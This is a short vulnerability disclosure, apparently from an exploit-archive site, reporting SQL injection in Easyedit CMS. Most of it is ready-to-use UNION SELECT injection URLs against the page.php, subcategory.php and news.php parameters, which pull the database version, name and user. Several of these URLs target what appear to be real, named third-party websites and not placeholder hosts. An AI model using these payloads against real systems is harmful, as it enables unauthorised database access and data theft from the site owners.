Easyedit CMS suffers from multiple remote SQL injection vulnerabilities.
ddd126108668940b95b0c3f58edc0366Easyedit CMS - Multiple Sql Injection Vulnerability
[ page.php?intPageID) (subcategory.php?intSubCategoryID) (news.php?intPageID]
http://www.easyedit.ie
Bug fOUND BY d3v1l ( Avram Marius ) - http://security-sh3ll.com/forum.php
www.site.com/page.php?intPageID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())--
Example :-
http://www.healthyliving.ie/page.php?intPageID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())--
x
http://www.healthyliving.ie/subcategory.php?intSubCategoryID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())--
x
http://www.ci3.ie/news.php?intPageID=-1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user())--
Comments
No comments yet, be the first!